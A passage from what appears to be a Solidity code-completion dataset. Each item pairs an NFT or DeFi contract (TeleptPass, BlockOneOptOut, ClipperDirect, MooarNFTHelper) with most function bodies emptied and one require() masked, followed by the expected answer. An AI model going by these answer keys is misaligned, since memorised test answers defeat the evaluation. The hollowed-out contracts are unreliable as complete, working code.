uint year,
uint month,
uint day
)
{
}
function timestampToDate(uint timestamp)
internal
pure
returns (
uint year,
uint month,
uint day
)
{
}
}
| mintCount[to]<maxMintCount,"exceeded max mint count" | 417,471 | mintCount[to]<maxMintCount |
"not in the invitation list" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract TeleptPass is ERC721URIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
uint256 public maxMintCount = 1;
uint256 public totalSupply = 300;
uint256 public price = 0;
bool public isMintActive = false;
bool public requireInvitation = true;
string baseURI = "https://pass.telept.xyz/token/";
mapping(address => uint256) mintCount;
mapping(address => bool) invitationList;
constructor() ERC721("TeleptPass", "TELEPT") {}
function mintNFT() public payable returns (uint256) {
}
function mintInternal(address to) internal returns (uint256) {
uint256 newItemId = _tokenIds.current();
if (maxMintCount > 0) {
require(mintCount[to] < maxMintCount, "exceeded max mint count");
}
require(newItemId < totalSupply, "no more tokens");
if (requireInvitation) {
require(<FILL_ME>)
}
_tokenIds.increment();
uint256 tokenId = getFromattedDateFrom(newItemId);
_mint(to, tokenId);
_setTokenURI(
tokenId,
string(abi.encodePacked(baseURI, Strings.toString(tokenId)))
);
mintCount[to] += 1;
return tokenId;
}
function airdrop(address[] calldata wAddresses) public onlyOwner {
}
function setPrice(uint256 priceUpdate) public onlyOwner {
}
function setTotalSupply(uint256 totalSupplyUpdate) public onlyOwner {
}
function setMaxMintCount(uint256 maxMintCountUpdate) public onlyOwner {
}
function setMintActive(bool mintActiveUpdate) public onlyOwner {
}
function setRequireInvitation(bool requireInvitationUpdate)
public
onlyOwner
{
}
function addToInvitationList(address[] calldata addresses)
public
onlyOwner
{
}
function removeFromInvitationList(address[] calldata addresses)
public
onlyOwner
{
}
function getCurrentId() public view returns (uint256) {
}
uint256 constant START_TIMESTAMP = 1225411200;
uint constant SECONDS_PER_DAY = 24 * 60 * 60;
int constant OFFSET19700101 = 2440588;
function getFromattedDateFrom(uint dayPassed)
internal
pure
returns (uint date)
{
}
function _daysToDate(uint _days)
internal
pure
returns (
uint year,
uint month,
uint day
)
{
}
function timestampToDate(uint timestamp)
internal
pure
returns (
uint year,
uint month,
uint day
)
{
}
}
| invitationList[to],"not in the invitation list" | 417,471 | invitationList[to] |
"Proof not valid" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/**
* BlockOneOptOut NFT
*
* NFT intended to contact holders of EOS ERC-20 token who are automatically a participant in the ongoing lawsuit Williams, et al. v. Block.one, et al. Case No. 1:20-cv-2809-LAK.
*
* Contact details:
* W: cryptogroupactions.com
*/
abstract contract MerkelTree {
/**
* @dev a function to verify that an address is part of the merket root
* @param proof supplied by the ownwer
* @param root supplied by the owner
* @param data address that forms part of the merket root.
*/
function _verify(
bytes32[] memory proof,
bytes32 root,
address data
) internal pure returns (bool) {
}
}
contract BlockOneOptOut is ERC721URIStorage, Ownable, MerkelTree {
/**
* @dev Storage
*/
uint16 public _ids;
bytes32 private _merketRoot;
mapping(uint16 => address) idToOwner;
mapping(address => uint16) ownerToId;
/**
* @dev events
*/
event BlockOneOptOutNft(string message, address owner, uint256 id);
event MerketRootUpdate(address owner); // Review whether to add timestamp
constructor(bytes32 _root) ERC721("BlockOneOptOutNft", "BlockOneOptOut") {
}
function updateMerketRoot(bytes32 _root) external onlyOwner {
}
function createNft(
string memory _uri,
address _user,
bytes32[] memory _proof
) external onlyOwner {
require(<FILL_ME>)
require(ownerToId[_user] == 0, "NFT already minted");
incrementIds();
_safeMint(_user, _ids);
_setTokenURI(_ids, _uri);
idToOwner[_ids] = _user;
ownerToId[_user] = _ids;
emit BlockOneOptOutNft("mint", _user, _ids);
}
function incrementIds() internal {
}
function getLatestId() external view returns (uint16) {
}
function getNftOwner(uint16 id) public view returns (address) {
}
function ownerToNft(address _owner) public view returns (uint256) {
}
}
| _verify(_proof,_merketRoot,_user),"Proof not valid" | 417,526 | _verify(_proof,_merketRoot,_user) |
"NFT already minted" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/**
* BlockOneOptOut NFT
*
* NFT intended to contact holders of EOS ERC-20 token who are automatically a participant in the ongoing lawsuit Williams, et al. v. Block.one, et al. Case No. 1:20-cv-2809-LAK.
*
* Contact details:
* W: cryptogroupactions.com
*/
abstract contract MerkelTree {
/**
* @dev a function to verify that an address is part of the merket root
* @param proof supplied by the ownwer
* @param root supplied by the owner
* @param data address that forms part of the merket root.
*/
function _verify(
bytes32[] memory proof,
bytes32 root,
address data
) internal pure returns (bool) {
}
}
contract BlockOneOptOut is ERC721URIStorage, Ownable, MerkelTree {
/**
* @dev Storage
*/
uint16 public _ids;
bytes32 private _merketRoot;
mapping(uint16 => address) idToOwner;
mapping(address => uint16) ownerToId;
/**
* @dev events
*/
event BlockOneOptOutNft(string message, address owner, uint256 id);
event MerketRootUpdate(address owner); // Review whether to add timestamp
constructor(bytes32 _root) ERC721("BlockOneOptOutNft", "BlockOneOptOut") {
}
function updateMerketRoot(bytes32 _root) external onlyOwner {
}
function createNft(
string memory _uri,
address _user,
bytes32[] memory _proof
) external onlyOwner {
require(_verify(_proof, _merketRoot, _user), "Proof not valid");
require(<FILL_ME>)
incrementIds();
_safeMint(_user, _ids);
_setTokenURI(_ids, _uri);
idToOwner[_ids] = _user;
ownerToId[_user] = _ids;
emit BlockOneOptOutNft("mint", _user, _ids);
}
function incrementIds() internal {
}
function getLatestId() external view returns (uint16) {
}
function getNftOwner(uint16 id) public view returns (address) {
}
function ownerToNft(address _owner) public view returns (uint256) {
}
}
| ownerToId[_user]==0,"NFT already minted" | 417,526 | ownerToId[_user]==0 |
"id of nft not recognised" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/**
* BlockOneOptOut NFT
*
* NFT intended to contact holders of EOS ERC-20 token who are automatically a participant in the ongoing lawsuit Williams, et al. v. Block.one, et al. Case No. 1:20-cv-2809-LAK.
*
* Contact details:
* W: cryptogroupactions.com
*/
abstract contract MerkelTree {
/**
* @dev a function to verify that an address is part of the merket root
* @param proof supplied by the ownwer
* @param root supplied by the owner
* @param data address that forms part of the merket root.
*/
function _verify(
bytes32[] memory proof,
bytes32 root,
address data
) internal pure returns (bool) {
}
}
contract BlockOneOptOut is ERC721URIStorage, Ownable, MerkelTree {
/**
* @dev Storage
*/
uint16 public _ids;
bytes32 private _merketRoot;
mapping(uint16 => address) idToOwner;
mapping(address => uint16) ownerToId;
/**
* @dev events
*/
event BlockOneOptOutNft(string message, address owner, uint256 id);
event MerketRootUpdate(address owner); // Review whether to add timestamp
constructor(bytes32 _root) ERC721("BlockOneOptOutNft", "BlockOneOptOut") {
}
function updateMerketRoot(bytes32 _root) external onlyOwner {
}
function createNft(
string memory _uri,
address _user,
bytes32[] memory _proof
) external onlyOwner {
}
function incrementIds() internal {
}
function getLatestId() external view returns (uint16) {
}
function getNftOwner(uint16 id) public view returns (address) {
require(<FILL_ME>)
return idToOwner[id];
}
function ownerToNft(address _owner) public view returns (uint256) {
}
}
| idToOwner[id]!=address(0),"id of nft not recognised" | 417,526 | idToOwner[id]!=address(0) |
"ClipperDirect: Deposit cannot be unlocked" | //SPDX-License-Identifier: Copyright 2021 Shipyard Software, Inc.
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "./interfaces/WrapperContractInterface.sol";
abstract contract ClipperCommonExchange is ERC20, ReentrancyGuard {
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
struct Signature {
uint8 v;
bytes32 r;
bytes32 s;
}
struct Deposit {
uint lockedUntil;
uint256 poolTokenAmount;
}
uint256 constant ONE_IN_TEN_DECIMALS = 1e10;
// Allow for inputs up to 0.5% more than quoted values to have scaled output.
// Inputs higher than this value just get 0.5% more.
uint256 constant MAX_ALLOWED_OVER_TEN_DECIMALS = ONE_IN_TEN_DECIMALS+50*1e6;
// Signer is passed in on construction, hence "immutable"
address immutable public DESIGNATED_SIGNER;
address immutable public WRAPPER_CONTRACT;
// Constant values for EIP-712 signing
bytes32 immutable DOMAIN_SEPARATOR;
string constant VERSION = "1.0.0";
string constant NAME = "ClipperDirect";
address constant CLIPPER_ETH_SIGIL = address(0);
bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256(
abi.encodePacked("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)")
);
bytes32 constant OFFERSTRUCT_TYPEHASH = keccak256(
abi.encodePacked("OfferStruct(address input_token,address output_token,uint256 input_amount,uint256 output_amount,uint256 good_until,address destination_address)")
);
bytes32 constant DEPOSITSTRUCT_TYPEHASH = keccak256(
abi.encodePacked("DepositStruct(address sender,uint256[] deposit_amounts,uint256 days_locked,uint256 pool_tokens,uint256 good_until)")
);
bytes32 constant SINGLEDEPOSITSTRUCT_TYPEHASH = keccak256(
abi.encodePacked("SingleDepositStruct(address sender,address token,uint256 amount,uint256 days_locked,uint256 pool_tokens,uint256 good_until)")
);
bytes32 constant WITHDRAWALSTRUCT_TYPEHASH = keccak256(
abi.encodePacked("WithdrawalStruct(address token_holder,uint256 pool_token_amount_to_burn,address asset_address,uint256 asset_amount,uint256 good_until)")
);
// Assets
// lastBalances: used for "transmit then swap then sync" modality
// assetSet is a set of keys that have lastBalances
mapping(address => uint256) public lastBalances;
EnumerableSet.AddressSet assetSet;
// Allows lookup
mapping(address => Deposit) public vestingDeposits;
// Events
event Swapped(
address indexed inAsset,
address indexed outAsset,
address indexed recipient,
uint256 inAmount,
uint256 outAmount,
bytes auxiliaryData
);
event Deposited(
address indexed depositor,
uint256 poolTokens,
uint256 nDays
);
event Withdrawn(
address indexed withdrawer,
uint256 poolTokens,
uint256 fractionOfPool
);
event AssetWithdrawn(
address indexed withdrawer,
uint256 poolTokens,
address indexed assetAddress,
uint256 assetAmount
);
// Take in the designated signer address and the token list
constructor(address theSigner, address theWrapper, address[] memory tokens) ERC20("ClipperDirect Pool Token", "CLPRDRPL") {
}
// Allows the receipt of ETH directly
receive() external payable {
}
function safeEthSend(address recipient, uint256 howMuch) internal {
}
/* TOKEN AND ASSET FUNCTIONS */
function nTokens() public view returns (uint) {
}
function tokenAt(uint i) public view returns (address) {
}
function isToken(address token) public view returns (bool) {
}
function _sync(address token) internal virtual;
// Can be overridden as in Caravel
function getLastBalance(address token) public view virtual returns (uint256) {
}
function allTokensBalance() external view returns (uint256[] memory, address[] memory, uint256){
}
// nonReentrant asset transfer
function transferAsset(address token, address recipient, uint256 amount) internal nonReentrant {
}
function calculateFairOutput(uint256 statedInput, uint256 actualInput, uint256 statedOutput) internal pure returns (uint256) {
}
/* DEPOSIT FUNCTIONALITY */
function canUnlockDeposit(address theAddress) public view returns (bool) {
}
function unlockDeposit() external returns (uint256 poolTokens) {
require(<FILL_ME>)
poolTokens = vestingDeposits[msg.sender].poolTokenAmount;
delete vestingDeposits[msg.sender];
_transfer(address(this), msg.sender, poolTokens);
}
function _mintOrVesting(address sender, uint256 nDays, uint256 poolTokens) internal {
}
// Mints tokens to this contract to hold for vesting
function _createVestingDeposit(address theAddress, uint256 nDays, uint256 numPoolTokens) internal {
}
function transmitAndDeposit(uint256[] calldata depositAmounts, uint256 nDays, uint256 poolTokens, uint256 goodUntil, Signature calldata theSignature) external {
}
function transmitAndDepositSingleAsset(address inputToken, uint256 inputAmount, uint256 nDays, uint256 poolTokens, uint256 goodUntil, Signature calldata theSignature) external virtual;
function deposit(address sender, uint256[] calldata depositAmounts, uint256 nDays, uint256 poolTokens, uint256 goodUntil, Signature calldata theSignature) public payable virtual;
function depositSingleAsset(address sender, address inputToken, uint256 inputAmount, uint256 nDays, uint256 poolTokens, uint256 goodUntil, Signature calldata theSignature) public payable virtual;
/* WITHDRAWAL FUNCTIONALITY */
function _proportionalWithdrawal(uint256 myFraction) internal {
}
function burnToWithdraw(uint256 amount) external {
}
function withdrawSingleAsset(address tokenHolder, uint256 poolTokenAmountToBurn, address assetAddress, uint256 assetAmount, uint256 goodUntil, Signature calldata theSignature) external virtual;
/* SWAP Functionality: Virtual */
function sellEthForToken(address outputToken, uint256 inputAmount, uint256 outputAmount, uint256 goodUntil, address destinationAddress, Signature calldata theSignature, bytes calldata auxiliaryData) external payable virtual;
function sellTokenForEth(address inputToken, uint256 inputAmount, uint256 outputAmount, uint256 goodUntil, address destinationAddress, Signature calldata theSignature, bytes calldata auxiliaryData) external virtual;
function transmitAndSellTokenForEth(address inputToken, uint256 inputAmount, uint256 outputAmount, uint256 goodUntil, address destinationAddress, Signature calldata theSignature, bytes calldata auxiliaryData) external virtual;
function transmitAndSwap(address inputToken, address outputToken, uint256 inputAmount, uint256 outputAmount, uint256 goodUntil, address destinationAddress, Signature calldata theSignature, bytes calldata auxiliaryData) external virtual;
function swap(address inputToken, address outputToken, uint256 inputAmount, uint256 outputAmount, uint256 goodUntil, address destinationAddress, Signature calldata theSignature, bytes calldata auxiliaryData) public virtual;
/* SIGNING Functionality */
function createDomainSeparator(string memory name, string memory version, address theSigner) internal view returns (bytes32) {
}
function hashInputOffer(address inputToken, address outputToken, uint256 inputAmount, uint256 outputAmount, uint256 goodUntil, address destinationAddress) internal pure returns (bytes32) {
}
function hashDeposit(address sender, uint256[] calldata depositAmounts, uint256 daysLocked, uint256 poolTokens, uint256 goodUntil) internal pure returns (bytes32) {
}
function hashSingleDeposit(address sender, address inputToken, uint256 inputAmount, uint256 daysLocked, uint256 poolTokens, uint256 goodUntil) internal pure returns (bytes32) {
}
function hashWithdrawal(address tokenHolder, uint256 poolTokenAmountToBurn, address assetAddress, uint256 assetAmount,
uint256 goodUntil) internal pure returns (bytes32) {
}
function createSwapDigest(address inputToken, address outputToken, uint256 inputAmount, uint256 outputAmount, uint256 goodUntil, address destinationAddress) internal view returns (bytes32 digest){
}
function createDepositDigest(address sender, uint256[] calldata depositAmounts, uint256 nDays, uint256 poolTokens, uint256 goodUntil) internal view returns (bytes32 depositDigest){
}
function createSingleDepositDigest(address sender, address inputToken, uint256 inputAmount, uint256 nDays, uint256 poolTokens, uint256 goodUntil) internal view returns (bytes32 depositDigest){
}
function createWithdrawalDigest(address tokenHolder, uint256 poolTokenAmountToBurn, address assetAddress, uint256 assetAmount,
uint256 goodUntil) internal view returns (bytes32 withdrawalDigest){
}
function verifyDigestSignature(bytes32 theDigest, Signature calldata theSignature) internal view {
}
}
| canUnlockDeposit(msg.sender),"ClipperDirect: Deposit cannot be unlocked" | 417,554 | canUnlockDeposit(msg.sender) |
"ClipperDirect: Depositor already has an active deposit" | //SPDX-License-Identifier: Copyright 2021 Shipyard Software, Inc.
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "./interfaces/WrapperContractInterface.sol";
abstract contract ClipperCommonExchange is ERC20, ReentrancyGuard {
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
struct Signature {
uint8 v;
bytes32 r;
bytes32 s;
}
struct Deposit {
uint lockedUntil;
uint256 poolTokenAmount;
}
uint256 constant ONE_IN_TEN_DECIMALS = 1e10;
// Allow for inputs up to 0.5% more than quoted values to have scaled output.
// Inputs higher than this value just get 0.5% more.
uint256 constant MAX_ALLOWED_OVER_TEN_DECIMALS = ONE_IN_TEN_DECIMALS+50*1e6;
// Signer is passed in on construction, hence "immutable"
address immutable public DESIGNATED_SIGNER;
address immutable public WRAPPER_CONTRACT;
// Constant values for EIP-712 signing
bytes32 immutable DOMAIN_SEPARATOR;
string constant VERSION = "1.0.0";
string constant NAME = "ClipperDirect";
address constant CLIPPER_ETH_SIGIL = address(0);
bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256(
abi.encodePacked("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)")
);
bytes32 constant OFFERSTRUCT_TYPEHASH = keccak256(
abi.encodePacked("OfferStruct(address input_token,address output_token,uint256 input_amount,uint256 output_amount,uint256 good_until,address destination_address)")
);
bytes32 constant DEPOSITSTRUCT_TYPEHASH = keccak256(
abi.encodePacked("DepositStruct(address sender,uint256[] deposit_amounts,uint256 days_locked,uint256 pool_tokens,uint256 good_until)")
);
bytes32 constant SINGLEDEPOSITSTRUCT_TYPEHASH = keccak256(
abi.encodePacked("SingleDepositStruct(address sender,address token,uint256 amount,uint256 days_locked,uint256 pool_tokens,uint256 good_until)")
);
bytes32 constant WITHDRAWALSTRUCT_TYPEHASH = keccak256(
abi.encodePacked("WithdrawalStruct(address token_holder,uint256 pool_token_amount_to_burn,address asset_address,uint256 asset_amount,uint256 good_until)")
);
// Assets
// lastBalances: used for "transmit then swap then sync" modality
// assetSet is a set of keys that have lastBalances
mapping(address => uint256) public lastBalances;
EnumerableSet.AddressSet assetSet;
// Allows lookup
mapping(address => Deposit) public vestingDeposits;
// Events
event Swapped(
address indexed inAsset,
address indexed outAsset,
address indexed recipient,
uint256 inAmount,
uint256 outAmount,
bytes auxiliaryData
);
event Deposited(
address indexed depositor,
uint256 poolTokens,
uint256 nDays
);
event Withdrawn(
address indexed withdrawer,
uint256 poolTokens,
uint256 fractionOfPool
);
event AssetWithdrawn(
address indexed withdrawer,
uint256 poolTokens,
address indexed assetAddress,
uint256 assetAmount
);
// Take in the designated signer address and the token list
constructor(address theSigner, address theWrapper, address[] memory tokens) ERC20("ClipperDirect Pool Token", "CLPRDRPL") {
}
// Allows the receipt of ETH directly
receive() external payable {
}
function safeEthSend(address recipient, uint256 howMuch) internal {
}
/* TOKEN AND ASSET FUNCTIONS */
function nTokens() public view returns (uint) {
}
function tokenAt(uint i) public view returns (address) {
}
function isToken(address token) public view returns (bool) {
}
function _sync(address token) internal virtual;
// Can be overridden as in Caravel
function getLastBalance(address token) public view virtual returns (uint256) {
}
function allTokensBalance() external view returns (uint256[] memory, address[] memory, uint256){
}
// nonReentrant asset transfer
function transferAsset(address token, address recipient, uint256 amount) internal nonReentrant {
}
function calculateFairOutput(uint256 statedInput, uint256 actualInput, uint256 statedOutput) internal pure returns (uint256) {
}
/* DEPOSIT FUNCTIONALITY */
function canUnlockDeposit(address theAddress) public view returns (bool) {
}
function unlockDeposit() external returns (uint256 poolTokens) {
}
function _mintOrVesting(address sender, uint256 nDays, uint256 poolTokens) internal {
}
// Mints tokens to this contract to hold for vesting
function _createVestingDeposit(address theAddress, uint256 nDays, uint256 numPoolTokens) internal {
require(nDays > 0, "ClipperDirect: Cannot create vesting deposit without positive vesting period");
require(<FILL_ME>)
Deposit memory myDeposit = Deposit({
lockedUntil: block.timestamp + (nDays * 1 days),
poolTokenAmount: numPoolTokens
});
vestingDeposits[theAddress] = myDeposit;
_mint(address(this), numPoolTokens);
}
function transmitAndDeposit(uint256[] calldata depositAmounts, uint256 nDays, uint256 poolTokens, uint256 goodUntil, Signature calldata theSignature) external {
}
function transmitAndDepositSingleAsset(address inputToken, uint256 inputAmount, uint256 nDays, uint256 poolTokens, uint256 goodUntil, Signature calldata theSignature) external virtual;
function deposit(address sender, uint256[] calldata depositAmounts, uint256 nDays, uint256 poolTokens, uint256 goodUntil, Signature calldata theSignature) public payable virtual;
function depositSingleAsset(address sender, address inputToken, uint256 inputAmount, uint256 nDays, uint256 poolTokens, uint256 goodUntil, Signature calldata theSignature) public payable virtual;
/* WITHDRAWAL FUNCTIONALITY */
function _proportionalWithdrawal(uint256 myFraction) internal {
}
function burnToWithdraw(uint256 amount) external {
}
function withdrawSingleAsset(address tokenHolder, uint256 poolTokenAmountToBurn, address assetAddress, uint256 assetAmount, uint256 goodUntil, Signature calldata theSignature) external virtual;
/* SWAP Functionality: Virtual */
function sellEthForToken(address outputToken, uint256 inputAmount, uint256 outputAmount, uint256 goodUntil, address destinationAddress, Signature calldata theSignature, bytes calldata auxiliaryData) external payable virtual;
function sellTokenForEth(address inputToken, uint256 inputAmount, uint256 outputAmount, uint256 goodUntil, address destinationAddress, Signature calldata theSignature, bytes calldata auxiliaryData) external virtual;
function transmitAndSellTokenForEth(address inputToken, uint256 inputAmount, uint256 outputAmount, uint256 goodUntil, address destinationAddress, Signature calldata theSignature, bytes calldata auxiliaryData) external virtual;
function transmitAndSwap(address inputToken, address outputToken, uint256 inputAmount, uint256 outputAmount, uint256 goodUntil, address destinationAddress, Signature calldata theSignature, bytes calldata auxiliaryData) external virtual;
function swap(address inputToken, address outputToken, uint256 inputAmount, uint256 outputAmount, uint256 goodUntil, address destinationAddress, Signature calldata theSignature, bytes calldata auxiliaryData) public virtual;
/* SIGNING Functionality */
function createDomainSeparator(string memory name, string memory version, address theSigner) internal view returns (bytes32) {
}
function hashInputOffer(address inputToken, address outputToken, uint256 inputAmount, uint256 outputAmount, uint256 goodUntil, address destinationAddress) internal pure returns (bytes32) {
}
function hashDeposit(address sender, uint256[] calldata depositAmounts, uint256 daysLocked, uint256 poolTokens, uint256 goodUntil) internal pure returns (bytes32) {
}
function hashSingleDeposit(address sender, address inputToken, uint256 inputAmount, uint256 daysLocked, uint256 poolTokens, uint256 goodUntil) internal pure returns (bytes32) {
}
function hashWithdrawal(address tokenHolder, uint256 poolTokenAmountToBurn, address assetAddress, uint256 assetAmount,
uint256 goodUntil) internal pure returns (bytes32) {
}
function createSwapDigest(address inputToken, address outputToken, uint256 inputAmount, uint256 outputAmount, uint256 goodUntil, address destinationAddress) internal view returns (bytes32 digest){
}
function createDepositDigest(address sender, uint256[] calldata depositAmounts, uint256 nDays, uint256 poolTokens, uint256 goodUntil) internal view returns (bytes32 depositDigest){
}
function createSingleDepositDigest(address sender, address inputToken, uint256 inputAmount, uint256 nDays, uint256 poolTokens, uint256 goodUntil) internal view returns (bytes32 depositDigest){
}
function createWithdrawalDigest(address tokenHolder, uint256 poolTokenAmountToBurn, address assetAddress, uint256 assetAmount,
uint256 goodUntil) internal view returns (bytes32 withdrawalDigest){
}
function verifyDigestSignature(bytes32 theDigest, Signature calldata theSignature) internal view {
}
}
| vestingDeposits[theAddress].poolTokenAmount==0,"ClipperDirect: Depositor already has an active deposit" | 417,554 | vestingDeposits[theAddress].poolTokenAmount==0 |
"Only for mooar launched NFT" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
struct MooarNFTLaunchStatus {
bool isMooarLaunched;
bool isMooarUnlaunched;
bytes32 tokenMerkleRoot;
uint256 redeemMintStartTime;
uint256 unfreezeMintStartTime;
bytes32 priorityMerkleRoot;
uint256 priorityMintStartTime;
uint256 directMintStartTime;
}
library MooarNFTHelper {
function onlyRedeemMinting(MooarNFTLaunchStatus storage self) public view {
require(<FILL_ME>)
require(self.redeemMintStartTime > 0 && block.timestamp >= self.redeemMintStartTime, "Not redeem minting");
}
function onlyUnfreezeMinting(MooarNFTLaunchStatus storage self) public view {
}
function onlyPriorityMinting(MooarNFTLaunchStatus storage self) private view {
}
function onlyDirectMinting(MooarNFTLaunchStatus storage self) private view {
}
function onlyMintByETH(uint256 ethMintCost) private view {
}
function onlyMintByToken(address tokenMintBaseToken, uint256 tokenMintCost) private pure {
}
function verifyTokenMerkleProof(address account, bytes32 tokenMerkleRoot, uint256 tokenId, bytes32[] calldata merkleProof) internal pure {
}
function verifyAccountMerkleProof(address account, bytes32 accountMerkleRoot, bytes32[] calldata merkleProof) internal pure {
}
function verifyRedeemMint(address account, MooarNFTLaunchStatus storage status, uint256 tokenId, bytes32[] calldata merkleProof) public view {
}
function verifyUnfreezeMintByETH(uint256 ethMintCost, MooarNFTLaunchStatus storage status, uint256 tokenId, bytes32[] calldata merkleProof) public view {
}
function verifyUnfreezeMintByToken(address tokenMintBaseToken, uint256 tokenMintCost, MooarNFTLaunchStatus storage status, uint256 tokenId, bytes32[] calldata merkleProof) public view {
}
function verifyPriorityMintByETH(address account, uint256 ethMintCost, MooarNFTLaunchStatus storage status, bytes32[] calldata merkleProof) public view {
}
function verifyPriorityMintByToken(address account, address tokenMintBaseToken, uint256 tokenMintCost, MooarNFTLaunchStatus storage status, bytes32[] calldata merkleProof) public view {
}
function verifyDirectMintByETH(uint256 ethMintCost, MooarNFTLaunchStatus storage status) public view {
}
function verifyDirectMintByToken(address tokenMintBaseToken, uint256 tokenMintCost, MooarNFTLaunchStatus storage status) public view {
}
}
| self.isMooarLaunched,"Only for mooar launched NFT" | 417,755 | self.isMooarLaunched |
"Only for mooar unlaunched NFT" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
struct MooarNFTLaunchStatus {
bool isMooarLaunched;
bool isMooarUnlaunched;
bytes32 tokenMerkleRoot;
uint256 redeemMintStartTime;
uint256 unfreezeMintStartTime;
bytes32 priorityMerkleRoot;
uint256 priorityMintStartTime;
uint256 directMintStartTime;
}
library MooarNFTHelper {
function onlyRedeemMinting(MooarNFTLaunchStatus storage self) public view {
}
function onlyUnfreezeMinting(MooarNFTLaunchStatus storage self) public view {
}
function onlyPriorityMinting(MooarNFTLaunchStatus storage self) private view {
require(<FILL_ME>)
require(self.priorityMintStartTime > 0 && block.timestamp >= self.priorityMintStartTime && block.timestamp < self.directMintStartTime, "Not priority minting");
}
function onlyDirectMinting(MooarNFTLaunchStatus storage self) private view {
}
function onlyMintByETH(uint256 ethMintCost) private view {
}
function onlyMintByToken(address tokenMintBaseToken, uint256 tokenMintCost) private pure {
}
function verifyTokenMerkleProof(address account, bytes32 tokenMerkleRoot, uint256 tokenId, bytes32[] calldata merkleProof) internal pure {
}
function verifyAccountMerkleProof(address account, bytes32 accountMerkleRoot, bytes32[] calldata merkleProof) internal pure {
}
function verifyRedeemMint(address account, MooarNFTLaunchStatus storage status, uint256 tokenId, bytes32[] calldata merkleProof) public view {
}
function verifyUnfreezeMintByETH(uint256 ethMintCost, MooarNFTLaunchStatus storage status, uint256 tokenId, bytes32[] calldata merkleProof) public view {
}
function verifyUnfreezeMintByToken(address tokenMintBaseToken, uint256 tokenMintCost, MooarNFTLaunchStatus storage status, uint256 tokenId, bytes32[] calldata merkleProof) public view {
}
function verifyPriorityMintByETH(address account, uint256 ethMintCost, MooarNFTLaunchStatus storage status, bytes32[] calldata merkleProof) public view {
}
function verifyPriorityMintByToken(address account, address tokenMintBaseToken, uint256 tokenMintCost, MooarNFTLaunchStatus storage status, bytes32[] calldata merkleProof) public view {
}
function verifyDirectMintByETH(uint256 ethMintCost, MooarNFTLaunchStatus storage status) public view {
}
function verifyDirectMintByToken(address tokenMintBaseToken, uint256 tokenMintCost, MooarNFTLaunchStatus storage status) public view {
}
}
| self.isMooarUnlaunched,"Only for mooar unlaunched NFT" | 417,755 | self.isMooarUnlaunched |
"Fail to verify proof" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
struct MooarNFTLaunchStatus {
bool isMooarLaunched;
bool isMooarUnlaunched;
bytes32 tokenMerkleRoot;
uint256 redeemMintStartTime;
uint256 unfreezeMintStartTime;
bytes32 priorityMerkleRoot;
uint256 priorityMintStartTime;
uint256 directMintStartTime;
}
library MooarNFTHelper {
function onlyRedeemMinting(MooarNFTLaunchStatus storage self) public view {
}
function onlyUnfreezeMinting(MooarNFTLaunchStatus storage self) public view {
}
function onlyPriorityMinting(MooarNFTLaunchStatus storage self) private view {
}
function onlyDirectMinting(MooarNFTLaunchStatus storage self) private view {
}
function onlyMintByETH(uint256 ethMintCost) private view {
}
function onlyMintByToken(address tokenMintBaseToken, uint256 tokenMintCost) private pure {
}
function verifyTokenMerkleProof(address account, bytes32 tokenMerkleRoot, uint256 tokenId, bytes32[] calldata merkleProof) internal pure {
require(tokenMerkleRoot != bytes32(0), "No merkle root");
bytes32 node = keccak256(abi.encodePacked(tokenId, account));
require(<FILL_ME>)
}
function verifyAccountMerkleProof(address account, bytes32 accountMerkleRoot, bytes32[] calldata merkleProof) internal pure {
}
function verifyRedeemMint(address account, MooarNFTLaunchStatus storage status, uint256 tokenId, bytes32[] calldata merkleProof) public view {
}
